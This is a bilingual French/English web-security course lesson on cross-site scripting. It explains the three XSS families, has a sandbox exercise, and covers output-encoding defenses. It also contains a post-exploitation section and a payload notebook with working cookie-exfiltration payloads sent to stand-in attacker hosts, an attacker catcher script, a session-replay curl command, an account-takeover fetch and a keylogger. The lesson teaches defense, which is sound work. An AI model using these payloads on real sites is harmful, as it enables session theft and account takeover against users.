Leçon 4/14 20 min

Failles XSS (Cross-Site Scripting)

Injecter du JavaScript chez la victime : reflected, stored, DOM. Déclenche l'attaque, puis le correctif : l'encodage.

Le commentaire qui vole les sessions

Sur un blog, n'importe qui peut laisser un commentaire. Un visiteur en poste un, banal en apparence :

Super article ! <script>new Image().src='https://pirate.fr/vol?c='+document.cookie</script>

Le serveur l'enregistre, puis le réaffiche à chaque visiteur de la page. Et là, dans le navigateur de chaque lecteur, ce <script> s'exécute : il récupère document.cookie (dont le cookie de session) et l'envoie au serveur du pirate. Résultat : l'attaquant peut rejouer ces sessions et se faire passer pour les visiteurs, l'admin compris. Le tout sans toucher à votre serveur : la victime, c'est le navigateur des autres.

Ça, c'est le XSS (Cross-Site Scripting) : faire exécuter votre JavaScript dans la page d'un autre. C'est la branche la plus courante de l'injection (A05 de l'OWASP 2025), et longtemps la faille web la plus signalée au monde.

La cause est la même qu'en injection SQL (leçon 3) : on fait confiance à une donnée et on l'affiche telle quelle sans la transformer. Sauf qu'ici la cible n'est plus votre base de données, c'est le navigateur des autres visiteurs.

Pourquoi ça marche, et les 3 familles

La racine est exactement celle de l'injection SQL (leçon 3), transposée au navigateur : vous avez mélangé du code et des données. Vous réaffichez une donnée utilisateur dans votre page HTML sans la transformer, donc le navigateur ne fait pas la différence entre votre HTML et le <script> qu'un attaquant a glissé dedans. Pour lui, une balise glissée dans la page est une balise à interpréter, d'où qu'elle vienne.

On distingue trois familles selon le chemin que prend le payload :

  • Reflected (réfléchi) : le payload est dans la requête (un paramètre d'URL, un champ de recherche) et renvoyé immédiatement dans la réponse. L'attaque se déclenche via un lien piégé envoyé à la victime.
  • Stored (stocké) : le payload est enregistré (commentaire, profil, message) puis re-servi à tous les visiteurs. Le plus dangereux : il frappe en masse, sans lien à cliquer.
  • DOM-based : tout se passe côté navigateur. Du JavaScript de la page lit une entrée (l'URL, un champ) et l'injecte dans le DOM via un sink dangereux comme innerHTML, sans que le serveur ne voie jamais le payload.

Le faux remède : « je valide l'entrée, je bloque le mot script » ne protège pas. Le XSS a mille formes (<img onerror>, <svg onload>, attributs, URL javascript:, encodages), et une blacklist en oublie toujours. La vraie parade n'est pas de filtrer l'entrée, mais d'encoder la sortie (section 4). Retenez la formule : on valide en entrée pour le métier, on encode en sortie pour la sécurité.

À vous d'attaquer : faites « pop » une alerte

Voici un mini livre d'or, vraiment vulnérable, tournant dans un bac à sable isolé (une iframe verrouillée : votre code s'exécute contre la page-jouet, jamais contre ce site ni vos vrais cookies). Le message que vous publiez est inséré tel quel via innerHTML. Votre mission : faire exécuter du JavaScript, c'est-à-dire déclencher une alert().

Livre d'or · laissez un message

Page rendue (votre message inséré via innerHTML) :

Bloqué ? Voir la solution (et un piège)

Le réflexe naturel, <script>alert(1)</script>, ne marche pas ici, et c'est LE piège à connaître : un <script> inséré via innerHTML n'est pas exécuté par le navigateur. Il faut un gestionnaire d'événement qui se déclenche tout seul :

<img src=x onerror=alert(1)>

L'image x échoue à charger → l'événement onerror se déclenche → votre JavaScript s'exécute. Autres classiques : <svg onload=alert(1)>, <body onpageshow=alert(1)>. Dans une vraie attaque, on remplace alert(1) par le vol de document.cookie (section suivante).

Le correctif : encoder la sortie, selon le contexte

La parade n'est pas de nettoyer l'entrée, mais d'encoder la donnée au moment où on l'affiche, pour que le navigateur la voie comme du texte, jamais comme du code. Et l'encodage dépend du contexte où la donnée atterrit.

Contexte le plus courant, le corps HTML : en PHP, on passe tout par htmlspecialchars(), qui transforme les caractères dangereux (<, >, &, ") en entités HTML inoffensives (< devient &lt;) :

// SÛR : la saisie est affichée comme du texte, pas interprétée
echo '<div>' . htmlspecialchars($commentaire, ENT_QUOTES, 'UTF-8') . '</div>';

Côté JavaScript, le même principe : on n'écrit jamais une donnée dans innerHTML ; on utilise textContent (ou .value), qui insère du texte pur, jamais du HTML :

// DANGEREUX : el.innerHTML = commentaire;
// SÛR : le navigateur n'interprète aucune balise
el.textContent = commentaire;

En Go, le package html/template encode automatiquement selon le contexte (corps, attribut, JS, URL) : c'est l'approche la plus sûre, l'échappement n'est pas un oubli possible.

// html/template échappe tout seul, au bon endroit
t := template.Must(template.New("p").Parse("<div>{{.}}</div>"))
t.Execute(w, commentaire) // <script> ressort en texte inoffensif

Le piège du contexte. Il n'existe pas de fonction « safe » universelle. htmlspecialchars protège le corps HTML, mais pas une donnée injectée dans du JavaScript (var x = '...'), dans une URL (href="...") ou dans un attribut non quoté. Chaque contexte a son encodage. Et surtout : n'insérez jamais de donnée utilisateur dans innerHTML, document.write, eval ou href="javascript:" : ce sont les sinks qui transforment une donnée en code.

Défense en profondeur : 1) encodage en sortie contextuel (ou un moteur qui le fait : Go html/template, Twig, React/Vue qui échappent par défaut) ; 2) une Content-Security-Policy stricte (nonce) qui bloque les scripts non autorisés même si une faille passe (leçon 11) ; 3) le cookie de session en HttpOnly pour qu'un XSS ne puisse pas le lire (leçon 8) ; 4) pour le HTML riche inévitable, DOMPurify. Référence : OWASP XSS Prevention Cheat Sheet.

La méthode et l'arsenal du pentester

1. Repérer les points de réflexion. On injecte un marqueur unique et inoffensif (ex. xss7331) dans chaque champ, paramètre d'URL, en-tête. On cherche ensuite ce marqueur dans la réponse : s'il ressort non encodé (tel quel, pas en &lt;), le point est injectable.

2. Identifier le contexte. Là où le marqueur atterrit dicte le payload : corps HTML (<svg onload>), attribut (fermer le guillemet : "><img...), bloc JavaScript (fermer la chaîne/le script), URL (javascript:). Le bon payload, c'est celui qui « casse » le contexte courant, comme le ' cassait la requête SQL.

3. Contourner les filtres. Un filtre naïf se contourne : casse mixte (<ScRiPt>), encodage HTML/URL, balises sans le mot script (<svg>, <img>), gestionnaires d'événements. D'où, encore, l'inutilité des blacklists.

4. L'impact. Une fois le JS exécuté chez la victime, les dégâts vont du vol de session à la prise de compte complète, en passant par le phishing et le keylogging. La section suivante détaille précisément ce butin : comment exfiltrer un cookie de session, comment agir au nom de la victime sans jamais lire ce cookie, et comment transformer un alert() en prise de compte réelle.

5. L'arsenal.

  • Burp Suite : intercepter, modifier, et fuzzer les points d'injection (Repeater/Intruder), comme pour le SQLi.
  • BeEF (Browser Exploitation Framework) : une fois un XSS obtenu, on « hook » le navigateur de la victime et on le pilote (commandes, faux prompts, pivot réseau). La démonstration qui fait comprendre l'impact.
  • XSS Hunter : pour le blind XSS (le payload se déclenche plus tard, ailleurs, ex. dans un back-office admin) ; il rappelle « à la maison » avec une capture quand il s'exécute.

Après l'exploit : le butin et son usage

Faire « pop » une alert(), c'est juste la preuve que le code s'exécute. Mais que fait vraiment un attaquant une fois ce pouvoir en main ? Voici le carnet d'après-exploitation, pour comprendre l'impact réel, et donc savoir quoi défendre.

1. Voler la session, puis la rejouer. D'abord, exfiltrer le cookie vers un serveur que l'attaquant contrôle. Une simple image suffit : charger une image vers n'importe quel domaine est autorisé, l'exfiltration passe donc sous le radar de la same-origin policy :

<img src=x onerror="new Image().src='https://pirate.fr/c?k='+encodeURIComponent(document.cookie)">

En face, le « catcher » de l'attaquant, un script minuscule qui logge tout ce qui arrive :

<?php // catch.php, sur le serveur de l'attaquant
file_put_contents('loot.txt', $_GET['k'] . "\n", FILE_APPEND);

Il n'a plus qu'à attendre : chaque visiteur qui charge la page piégée lui envoie son cookie. Puis il rejoue la session : le cookie est l'identité, le mot de passe devient inutile :

# En se faisant passer pour la victime, depuis sa propre machine
curl -H "Cookie: session=VALEUR_VOLEE" https://site-cible.fr/mon-compte

Ou, dans un navigateur : coller le cookie volé (devtools → Application → Cookies, ou l'onglet « Match & Replace » de Burp), recharger, et le voilà connecté en tant que la victime.

2. Agir au nom de la victime (sans rien voler). Plus vicieux : le JS tourne déjà dans la session de la victime. Pas besoin d'exfiltrer quoi que ce soit, on envoie directement une requête authentifiée depuis son navigateur :

// Changer l'email du compte → puis « mot de passe oublié » → prise du compte
fetch('/compte/email', { method:'POST', credentials:'include',
  headers:{ 'Content-Type':'application/json' },
  body: JSON.stringify({ email:'pirate@evil.com' }) });

Souvent plus puissant que le vol de cookie, et ça marche même si le cookie est HttpOnly : on n'a jamais eu besoin de le lire.

3. Voler les identifiants (phishing dans le vrai site). Le JS injecte un faux formulaire de connexion par-dessus la page. La victime est bien sur le vrai domaine (bonne URL, cadenas) : elle tape son mot de passe en confiance → envoyé à l'attaquant. C'est le contexte de confiance qui fait tout le travail.

4. Espionner en continu (keylogger). Chaque touche frappée part chez l'attaquant, mots de passe et numéros de carte compris :

document.addEventListener('keydown', function (e) {
  navigator.sendBeacon('https://pirate.fr/k', e.key);
});

5. Industrialiser : BeEF. Plutôt que d'écrire ces scripts à la main, BeEF « hook » le navigateur de la victime et garde le contrôle tant que la page reste ouverte : faux prompts, vol du presse-papier, scan du réseau interne, pivot.

Ce que ça révèle côté défense : HttpOnly coupe le scénario 1 (vol du cookie en JS) mais pas le 2 (agir au nom de la victime), ni le 3-4. D'où l'empilement : encodage en sortie (empêcher l'exécution), CSP stricte (bloquer le JS injecté et l'exfiltration vers un domaine tiers), HttpOnly, et re-demander le mot de passe pour les actions sensibles (changement d'email). Une seule couche ne suffit jamais (leçon 2).

Cadre légal, encore : ces scripts illustrent l'après-exploitation pour la comprendre et la défendre. On ne les déploie que sur ses propres systèmes ou une cible explicitement autorisée (leçon 1). Voler une session ou des identifiants réels est un délit.

Le carnet de payloads XSS

Les classiques à coller dans un champ pour tester (sur vos apps ou une cible autorisée). À essayer aussi dans le bac à sable plus haut.

Corps HTML (le <script> ne marche pas via innerHTML, d'où les gestionnaires) :

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>

Sortie d'un attribut (on referme le guillemet d'abord) :

"><img src=x onerror=alert(1)>
' autofocus onfocus=alert(1) x='

Contexte URL / lien :

javascript:alert(1)

Vol de cookie (la charge « utile » réelle, à la place de alert) :

<img src=x onerror="fetch('https://pirate.fr/c?'+document.cookie)">

Les listes et outils. PayloadsAllTheThings (XSS) et la XSS cheat sheet de PortSwigger (des centaines de vecteurs filtrables par contexte/navigateur) sont les références. Pour s'entraîner légalement : le XSS Game de Google et la Web Security Academy.

Rappel. Ce carnet sert à tester/auditer, pas à se défendre : bloquer ces chaînes (blacklist) est contournable. La protection reste l'encodage en sortie + CSP + HttpOnly. Et on ne teste que ses propres systèmes ou des plateformes autorisées (leçon 1).

The comment that steals sessions

On a blog, anyone can leave a comment. A visitor posts one, harmless-looking:

Great article! <script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>

The server stores it, then redisplays it to every visitor of the page. And there, in each reader's browser, that <script> runs: it grabs document.cookie (including the session cookie) and sends it to the attacker's server. Result: the attacker can replay those sessions and impersonate the visitors, admin included. All without touching your server: the victim is other people's browsers.

That's XSS (Cross-Site Scripting): making your JavaScript run in someone else's page. It's the most common branch of injection (A05 in OWASP 2025), and was long the most reported web flaw in the world.

The root cause is the same as in SQL injection (lesson 3): you trust a piece of data and display it as-is without transforming it. The difference is the target: instead of your database, it's your other visitors' browsers.

Why it works, and the 3 families

The root is exactly the one from SQL injection (lesson 3), moved to the browser: you mixed code and data. You redisplay a user's data in your HTML page without transforming it, so the browser can't tell your HTML from the <script> an attacker slipped in. To it, a tag dropped into the page is a tag to interpret, wherever it came from.

There are three families, by the path the payload takes:

  • Reflected: the payload is in the request (a URL parameter, a search field) and echoed back immediately in the response. The attack fires via a booby-trapped link sent to the victim.
  • Stored: the payload is saved (comment, profile, message) then re-served to every visitor. The most dangerous: it hits at scale, no link to click.
  • DOM-based: it all happens in the browser. The page's own JavaScript reads an input (the URL, a field) and injects it into the DOM through a dangerous sink like innerHTML, without the server ever seeing the payload.

Beware the false cure: "I validate the input, I block the word script" doesn't protect. XSS has a thousand shapes (<img onerror>, <svg onload>, attributes, javascript: URLs, encodings), and a blacklist always misses one. The real fix isn't filtering the input, it's encoding the output (section 4). Remember the formula: validate input for business rules, encode output for security.

Your turn to attack: make an alert pop

Here's a tiny guestbook, genuinely vulnerable, running in an isolated sandbox (a locked-down iframe: your code runs against the toy page, never against this site or your real cookies). The message you post is inserted as-is via innerHTML. Your mission: get JavaScript to run, i.e. trigger an alert().

Guestbook · leave a message

Rendered page (your message inserted via innerHTML):

Stuck? Show the solution (and a trap)

The natural reflex, <script>alert(1)</script>, doesn't work here, and that's THE trap to know: a <script> inserted via innerHTML is not executed by the browser. You need an event handler that fires by itself:

<img src=x onerror=alert(1)>

The image x fails to load → the onerror event fires → your JavaScript runs. Other classics: <svg onload=alert(1)>, <body onpageshow=alert(1)>. In a real attack, alert(1) is replaced by stealing document.cookie (next section).

The fix: encode the output, by context

The fix isn't cleaning the input, it's encoding the data when you display it, so the browser sees it as text, never code. And the encoding depends on the context where the data lands.

The most common context, the HTML body: in PHP, pass everything through htmlspecialchars(), which turns the dangerous characters (<, >, &, ") into harmless HTML entities (< becomes &lt;):

// SAFE: the input is displayed as text, not interpreted
echo '<div>' . htmlspecialchars($comment, ENT_QUOTES, 'UTF-8') . '</div>';

On the JavaScript side, same principle: never write data into innerHTML; use textContent (or .value), which inserts pure text, never HTML:

// DANGEROUS: el.innerHTML = comment;
// SAFE: the browser interprets no tag
el.textContent = comment;

In Go, the html/template package encodes automatically by context (body, attribute, JS, URL): the safest approach, escaping can't be forgotten.

// html/template escapes on its own, in the right place
t := template.Must(template.New("p").Parse("<div>{{.}}</div>"))
t.Execute(w, comment) // <script> comes out as harmless text

The context trap. There is no universal "safe" function. htmlspecialchars protects the HTML body, but not data injected into JavaScript (var x = '...'), a URL (href="...") or an unquoted attribute. Each context has its own encoding. Above all: never put user data into innerHTML, document.write, eval or href="javascript:": these are the sinks that turn data into code.

Defense in depth: 1) contextual output encoding (or an engine that does it: Go html/template, Twig, React/Vue which escape by default); 2) a strict Content-Security-Policy (nonce) that blocks unauthorized scripts even if a flaw slips through (lesson 11); 3) the session cookie set HttpOnly so an XSS can't read it (lesson 8); 4) for unavoidable rich HTML, DOMPurify. Reference: OWASP XSS Prevention Cheat Sheet.

The pentester's method and arsenal

1. Find the reflection points. Inject a unique, harmless marker (e.g. xss7331) into every field, URL parameter, header. Then search the response for it: if it comes back un-encoded (as-is, not as &lt;), the point is injectable.

2. Identify the context. Where the marker lands dictates the payload: HTML body (<svg onload>), attribute (close the quote: "><img...), JavaScript block (close the string/script), URL (javascript:). The right payload is the one that "breaks" the current context, just as ' broke the SQL query.

3. Bypass the filters. A naive filter is bypassable: mixed case (<ScRiPt>), HTML/URL encoding, tags without the word script (<svg>, <img>), event handlers. Hence, again, why blacklists are useless.

4. The impact. Once the JS runs in the victim's browser, the damage ranges from session theft to full account takeover, plus phishing and keylogging. The next section walks through exactly that loot: how to exfiltrate a session cookie, how to act as the victim without ever reading that cookie, and how to turn a proof-of-concept alert() into a real account takeover.

5. The arsenal.

  • Burp Suite: intercept, modify and fuzz the injection points (Repeater/Intruder), like for SQLi.
  • BeEF (Browser Exploitation Framework): once you have an XSS, you "hook" the victim's browser and drive it (commands, fake prompts, network pivot). The demo that makes the impact click.
  • XSS Hunter: for blind XSS (the payload fires later, elsewhere, e.g. in an admin back-office); it calls "home" with a capture when it runs.

After the exploit: the loot and what it's for

Popping an alert() is just proof the code runs. But what does an attacker actually do with that power? Here's the post-exploitation playbook, to understand the real impact, and therefore know what to defend.

1. Steal the session, then replay it. First, exfiltrate the cookie to a server the attacker controls. A plain image is enough: loading an image to any domain is allowed, so the exfiltration slips under the same-origin policy's radar:

<img src=x onerror="new Image().src='https://attacker.com/c?k='+encodeURIComponent(document.cookie)">

On the other end, the attacker's "catcher", a tiny script that logs everything that arrives:

<?php // catch.php, on the attacker's server
file_put_contents('loot.txt', $_GET['k'] . "\n", FILE_APPEND);

Then they just wait: every visitor who loads the booby-trapped page sends their cookie. Next they replay the session: the cookie is the identity, the password becomes useless:

# Impersonating the victim, from their own machine
curl -H "Cookie: session=STOLEN_VALUE" https://target-site.com/my-account

Or, in a browser: paste the stolen cookie (devtools → Application → Cookies, or Burp's "Match & Replace"), reload, and they're logged in as the victim.

2. Act as the victim (stealing nothing). Nastier: the JS already runs inside the victim's session. No need to exfiltrate anything, just fire an authenticated request from their browser:

// Change the account email → then "forgot password" → account takeover
fetch('/account/email', { method:'POST', credentials:'include',
  headers:{ 'Content-Type':'application/json' },
  body: JSON.stringify({ email:'attacker@evil.com' }) });

Often more powerful than stealing the cookie, and it works even if the cookie is HttpOnly: you never needed to read it.

3. Steal credentials (phishing inside the real site). The JS injects a fake login form over the page. The victim is on the real domain (right URL, padlock), so they type their password in good faith → sent to the attacker. The trust context does all the work.

4. Spy continuously (keylogger). Every keystroke goes to the attacker, passwords and card numbers included:

document.addEventListener('keydown', function (e) {
  navigator.sendBeacon('https://attacker.com/k', e.key);
});

5. Industrialize: BeEF. Instead of hand-writing these scripts, BeEF "hooks" the victim's browser and keeps control as long as the page stays open: fake prompts, clipboard theft, internal network scan, pivot.

What this reveals for defense: HttpOnly kills scenario 1 (reading the cookie in JS) but not 2 (acting as the victim), nor 3-4. Hence the stack: output encoding (stop execution), a strict CSP (block injected JS and exfiltration to a third-party domain), HttpOnly, and re-prompting the password for sensitive actions (email change). One layer is never enough (lesson 2).

Legal frame, again: these scripts illustrate post-exploitation to understand and defend it. Only deploy them on your own systems or an explicitly authorized target (lesson 1). Stealing a real session or real credentials is a crime.

The XSS payload notebook

The classics to drop in a field to test (on your apps or an authorized target). Try them in the sandbox above too.

HTML body (<script> doesn't work via innerHTML, hence the handlers):

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>

Attribute output (close the quote first):

"><img src=x onerror=alert(1)>
' autofocus onfocus=alert(1) x='

URL / link context:

javascript:alert(1)

Cookie theft (the real payload, instead of alert):

<img src=x onerror="fetch('https://attacker.com/c?'+document.cookie)">

The lists and tools. PayloadsAllTheThings (XSS) and the PortSwigger XSS cheat sheet (hundreds of vectors filterable by context/browser) are the references. To practice legally: Google's XSS Game and the Web Security Academy.

Reminder. This notebook is for testing/auditing, not defending: blocking these strings (blacklist) is bypassable. The protection stays output encoding + CSP + HttpOnly. And only test your own systems or authorized platforms (lesson 1).

Prédisez avant de lire

Un dev écrit element.innerHTML = pseudo; pour afficher le pseudo d'un utilisateur. Un autre écrit element.textContent = pseudo;. Avant de dérouler : lequel est vulnérable au XSS, et que se passe-t-il si le pseudo vaut <img src=x onerror=alert(1)> dans chaque cas ?

Voir la réponse

innerHTML est vulnérable : le navigateur interprète la chaîne comme du HTML, crée une balise <img>, l'image échoue, onerror s'exécute → XSS. textContent est sûr : il insère la chaîne comme du texte, donc l'utilisateur voit littéralement les caractères <img src=x onerror=alert(1)> à l'écran, sans qu'aucune balise ne soit créée. Règle : pour afficher une donnée, textContent par défaut, jamais innerHTML.

Predict before reading on

One dev writes element.innerHTML = nickname; to display a user's nickname. Another writes element.textContent = nickname;. Before you expand: which is vulnerable to XSS, and what happens if the nickname is <img src=x onerror=alert(1)> in each case?

Show the answer

innerHTML is vulnerable: the browser interprets the string as HTML, creates an <img> tag, the image fails, onerror runs → XSS. textContent is safe: it inserts the string as text, so the user literally sees the characters <img src=x onerror=alert(1)> on screen, with no tag created. Rule: to display data, textContent by default, never innerHTML.

🎯 Pratique

S'entraîner (clique pour ouvrir) :

💬 Ré-explique sans regarder
Ré-explique sans regarder

Avec tes mots : pourquoi la défense contre le XSS est l'« encodage en sortie » et pas la « validation de l'entrée » ? Et pourquoi parle-t-on de contexte ?

Une bonne explication dit : valider l'entrée ne marche pas car le XSS a trop de formes (une blacklist en oublie toujours) et car une donnée peut être parfaitement valide (un pseudo, un commentaire) tout en contenant un payload. La vraie parade agit au moment de l'affichage : on encode la donnée pour que le navigateur la lise comme du texte. Et l'encodage dépend du contexte (corps HTML, attribut, JavaScript, URL) car les caractères dangereux et la façon de les neutraliser changent à chaque endroit : il n'existe pas de fonction « safe » unique.
🧠 Rappel libre
Rappel libre

Sans remonter : cite les 3 familles de XSS en une phrase chacune, et dis pourquoi un <script> inséré via innerHTML ne s'exécute pas.

Reflected : le payload est renvoyé immédiatement depuis la requête (lien piégé). Stored : il est enregistré puis re-servi à tous les visiteurs (le plus grave). DOM-based : du JS de la page injecte une entrée dans un sink (innerHTML) sans passage par le serveur. Un <script> via innerHTML ne s'exécute pas car le navigateur ne démarre pas un <script> ajouté via innerHTML (la spec HTML le marque comme non exécutable) : il faut un gestionnaire d'événement (onerror, onload) pour déclencher du code.
⚖️ Juge le code de l'IA
Accepter ou rejeter le code de l'IA

Tu demandes à l'IA de protéger l'affichage des commentaires contre le XSS. Elle répond : « Je filtre à l'enregistrement : je retire le mot script et les chevrons de la saisie avec un str_replace, comme ça la base ne contient jamais de balise. » Tu acceptes, ou tu rejettes ?

À rejeter, sur deux plans. 1) C'est une blacklist en entrée : contournable (<ScRiPt>, <img onerror> qui n'a pas le mot « script », encodages), et elle abîme les données légitimes (un commentaire sur « la balise script » devient illisible). 2) Filtrer à l'enregistrement, c'est traiter le problème au mauvais endroit : la faille naît à l'affichage. Le bon réflexe : stocker la donnée brute, et l'encoder en sortie selon le contexte (htmlspecialchars en PHP, textContent en JS), plus une CSP. On ne mutile pas l'entrée, on neutralise à la sortie.
Quel type de XSS frappe tous les visiteurs d'une page sans qu'ils aient à cliquer un lien piégé ?
Quelle est la défense centrale contre le XSS ?
Pourquoi <script>alert(1)</script> injecté via innerHTML ne déclenche-t-il rien ?
Un cookie de session est en HttpOnly. Un attaquant a un XSS stocké sur le site. Que peut-il (ou non) faire ?
Prochaine étape

Vous savez injecter du code dans la page d'un autre. La leçon 5 reste dans les injections mais change de cible : injecter une commande système ou lire un fichier interdit du serveur, avec là aussi un terrain de jeu pour attaquer.

Leçon 5 : Injection de commandes →
Besoin d'un développeur pour votre projet ?

Réponse sous 24h · Sans engagement